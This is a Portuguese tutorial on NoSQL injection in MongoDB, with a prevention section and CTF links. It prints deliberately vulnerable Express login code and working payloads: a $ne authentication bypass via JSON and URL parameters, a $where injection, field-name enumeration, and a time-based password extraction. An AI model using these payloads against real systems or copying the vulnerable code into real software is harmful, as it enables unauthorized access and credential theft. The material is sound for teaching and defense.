NoSQL Injection
Introdução
Antigamente, o modelo de banco de dados predominante era o relacional (SQL). Com o tempo, porém, novas demandas por flexibilidade e escalabilidade levaram ao surgimento de alternativas mais modernas: os bancos de dados NoSQL. Diferente do modelo relacional, os bancos NoSQL não seguem um padrão único: há grande variedade entre eles, com diferentes estruturas, linguagens de consulta e comportamentos. No entanto, assim como os bancos relacionais são suscetíveis ao ataque conhecido como SQL Injection, os bancos NoSQL também apresentam vulnerabilidades semelhantes, conhecidas como NoSQL Injection. Neste documento, serão apresentados vários bancos de dados NoSQL, abordando suas estruturas, características e, o mais importante, suas vulnerabilidades.
MongoDB
O que é?
O MongoDB é, atualmente, o sistema de banco de dados NoSQL mais popular. Ele é um banco de dados orientado a documentos, isto é, ele armazena e gerencia dados no formato de documentos Binary JSON (BSON), que são parecidos com o JSON tradicional, mas são codificados diretamente em binário.
No MongoDB, os documentos são as unidades básicas de armazenamento, cada um representando um registro individual — de forma semelhante às linhas em bancos SQL. Esses documentos possuem uma estrutura muito próxima à de objetos JSON. Já as coleções são conjuntos de documentos relacionados. Na prática, as coleções se comportam como arrays de objetos JSON e equivalem às tabelas em bancos SQL. Vejamos um exemplo de uma coleção chamada usuários
com vários documentos dentro dela:
[
{
"_id": ObjectId("66513a1a5f1c2b001a3cdef1"),
"nome": "João Silva",
"idade": 28,
"email": "joao@gmail.com"
},
{
"_id": ObjectId("66513a1a5f1c2b001a3cdef2"),
"nome": "Maria Oliveira",
"idade": 32,
"telefone": "11999998888",
"endereco": {
"rua": "Rua das Flores",
"cidade": "São Paulo"
}
},
{
"_id": ObjectId("66513a1a5f1c2b001a3cdef3"),
"nome": "Carlos Mendes",
"interesses": ["futebol", "tecnologia", "música"],
"ativo": true
}
]
A comunicação entre uma aplicação e o banco de dados MongoDB é realizada por meio de bibliotecas específicas (drivers) desenvolvidas para cada linguagem de programação. Esses drivers implementam uma linguagem chamada MongoDB Query Language(MQL), que permite executar ccomandos no banco de dados. Cada comando feito pela aplicação deve especifícar um tipo de operação (como find
, insertOne
, update
, entre outras), uma coleção alvo e um conjunto de parâmetros estruturados em formato semelhante ao JSON:
db.collection("usuarios").find({ nome: "Ana" })
Esse comando irá retornar todos os elementos da coleção usuarios
que se chamam "Ana"
.
O MQL também oferece uma rica variedade de operadores, incluindo operadores de comparação, lógicos, entre outros. Esses operadores são representados por um símbolo de cifrão ($) seguido pelo nome do operador. Por exemplo:
db.collection("usuarios").find({
idade: {
$gte: 18
}
})
Esse comando irá retornar todos os elementos da coleção usuarios
que têm 18 anos ou mais.
NoSQL Operator Injection
Estas são NoSQL injections que inserem operadores em forma de objetos aninhados para modificar o funcionamento da aplicação. Para entender melhor o conceito, considere o exemplo a seguir. Suponha que haja alguma aplicação com o seguinte código javascript no back-end:
app.post('/login', async (req, res) => {
let {login, password} = req.body;
let user = await db.collection("usuarios").findOne({
login: login,
password: password
});
if (!user) {
return res.status(400).json({message: "Error!!!"});
}
return res.status(200).json({message: "You are logged in!"});
});
Esse trecho de código faz parte de um programa bem simples para login de usuários. Ele se comunica com o cliente do usuário por meio do body de uma POST HTTP request formatado em JSON. No entanto, como não há validação ou sanitização desses campos, o back-end aceita qualquer estrutura JSON válida. Desta forma, um atacante pode realizar a seguinte request:
POST /login HTTP/2
Host: app.example.com
Content-Type: application/json; charset=utf-8
User-Agent: ...
{
"login": "admin",
"password": {"$ne": null},
}
O campo password não é uma string simples — ele é um objeto contendo um operador do MongoDB: $ne
, que significa "diferente de". Ao receber essa request, a query é interpretada pelo MongoDB como: procure um documento em que o campo login
seja igual a 'admin'
e o campo password
seja diferente de null
. Como senhas normalmente não são null
, essa consulta retorna o usuário admin
, mesmo que a senha enviada seja incorreta. O atacante, assim, consegue burlar o sistema de autenticação.
Outra maneira de fazer operator injection é por meio dos parâmetros de URL em uma GET request. Considere o código javascript back-end abaixo:
app.get('/login', async (req, res) => {
let { login, password } = req.query;
let user = await db.collection("usuarios").findOne({
login: login,
password: password
});
if (!user) {
return res.status(400).json({ message: "Error!!!" });
}
return res.status(200).json({ message: "You are logged in!" });
});
Esse trecho de código faz o mesmo que o anterior, porém os campos de login
e password
são parâmetros de URL. Deste modo, um atacante pode acessar a URL:
https://app.example.com/login?username=admin&password[$ne]=null
Neste caso, o servidor interpreta o parâmetro password[$ne]=null
como password: { "$ne": "null" }
. Logo, a query montada pelo servidor será:
{
"username": "admin",
"password": {
"$ne": "null"
}
}
E novamente, como a senha do usuário admin
provavelmente é diferente de "null"
, o atacante consegue logar como admin
sem conhecer a senha correta.
Abaixo, está uma tabela com os operadores mais relevantes:
$eq
Valores são iguais
$ne
Valores são diferentes
$gt
Valor é maior que outro
$gte
Valor é maior ou igual a outro
$lt
Valor é menor que outro
$lte
Valor é menor ou igual a outro
$in
Valor está dentro de um array
$regex
Permite o uso de expressões regulares
NoSQL Syntax Injection
Estas são NoSQL injections que utilizam operador $where
ou a função mapReduce()
para executar código Javascript dentro do banco. Vejamos um exemplo:
app.get('/login', async (req, res) => {
const { login, password } = req.query;
const user = await db.collection('usuarios').findOne({
$where: `this.login == '${login}' && this.password == '${password}'`
});
if (!user) {
return res.status(401).json({ message: 'Login failed' });
}
res.json({ message: 'Login successful' });
});
Esse é um código para login bem parecido com o anterior, mas com a diferença que ele usa o operador $where
para fazer a consulta ao banco. Se um atacante acessar a URL:
https://app.examples.com/login?login=admin' || true || '&password=abc
O objeto JSON de consulta construído pela aplicação será:
{
"$where": "this.login == 'admin' || true || ' ' && this.password == 'abc'"
}
Isso sempre retorna verdadeiro, então o atacante faz login sem precisar da senha correta.
É possível, também, usar o método Object.keys()
dentro do operador $where
para descobrir nomes de campos de dados. Por exemplo, esse payload:
"$where": "Object.keys(this)[0].match('^.{0}a.*')"
Ele verifica se o primeiro campo do objeto começa com a letra "a". Isso permite descobrir os nomes dos campos letra por letra, para assim conseguir montar o nome completo.
Time Based injection
É possível que algumas aplicações executem queries sem alterar visivelmente o estado da página web. Para estes casos, existe as Time-Based Injection. Elas exploram atrasos nas resposta do servidor para inferir informações do banco de dados. A ideia é inserir uma condição que, se verdadeira, força um atraso na resposta. Por exemplo, considere uma aplicação com código assim:
app.post('/signup', async (req, res) => {
let { username, password } = req.body;
let user = await db.collection("usuarios").findOne({
$where: `this.username == ${username}`
});
if (user == null) { // verifica se o usuário ainda não existe
await db.collection("usuarios").insertOne({
username: username,
password: password
});
}
return res.status(200).json({ message: "Pronto" });
});
Neste caso, o endpoint sempre retorna a mesma resposta ("Pronto"
), mesmo que o usuário exista ou não, o que elimina feedback direto ao atacante. Ainda assim, é possível explorar o operador $where
por meio do payload:
{
"login": "admin",
"password": {
"$where": "function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}"
}
}
Esse código verifica se o primeiro caractere da senha do usuário é a letra 'a'
. Se for, o servidor entra em um loop que bloqueia a execução por 5 segundos antes de continuar. Caso contrário, a resposta é imediata. Medindo o tempo de resposta do servidor, o atacante consegue verificar a condição (x.password[0]==="a")
. Repetindo esse processo para cada posição da senha e testando diferentes caracteres, ele pode reconstruir toda a senha sem jamais ver seu conteúdo diretamente.
Prevenindo Injection
Existem várias formas de prevenir NoSQL injection em bancos MongoDB. A seguir, destacam-se algumas das mais eficazes:
Utilize o método de whitelisting, definindo explicitamente quais entradas são permitidas (por exemplo, apenas números ou strings alfanuméricas), em vez de tentar bloquear valores proibidos (blacklisting), que é menos seguro.
Escape ou remova caracteres especiais, tais como
$
e{}
Converta e sanitize os tipos manualmente, por exemplo:
const login = String(req.query.login);
Evite usar
$where
emapReduce()
com entradas do usuárioUtilize bibliotecas especializadas para sanitizar as entradas dos usuários, como o
mongo-sanatize
NoSQLMap
O NoSQLMap é uma ferramenta open-source que permite automatizar ataques de NoSQL injection. Atualmente, ele suporta somente o MongoDB e o CouchDB, mas prevê-se que terá suporte também a Redis e Cassandra no futuro. Tanto a ferramenta quanto o tutorial de como usá-la estão neste link.
Desafios CTF
No Sql Injection - https://play.picoctf.org/practice/challenge/443?category=1&page=3
Links Úteis
Artigo do PortSwigger: https://portswigger.net/web-security/nosql-injection Artigo do HackTricks: https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html Artigo do Vaadata: https://www.vaadata.com/blog/what-is-nosql-injection-exploitations-and-security-best-practices/ Artigo do Intigriti: https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-nosql-injection-nosqli-vulnerabilities Artigo do Snyk: https://learn.snyk.io/lesson/nosql-injection-attack/ Página do Github do NoSQLMap: https://github.com/codingo/NoSQLMap?tab=readme-ov-file Documentação do MongoDB: https://www.mongodb.com/pt-br/docs/
Atualizado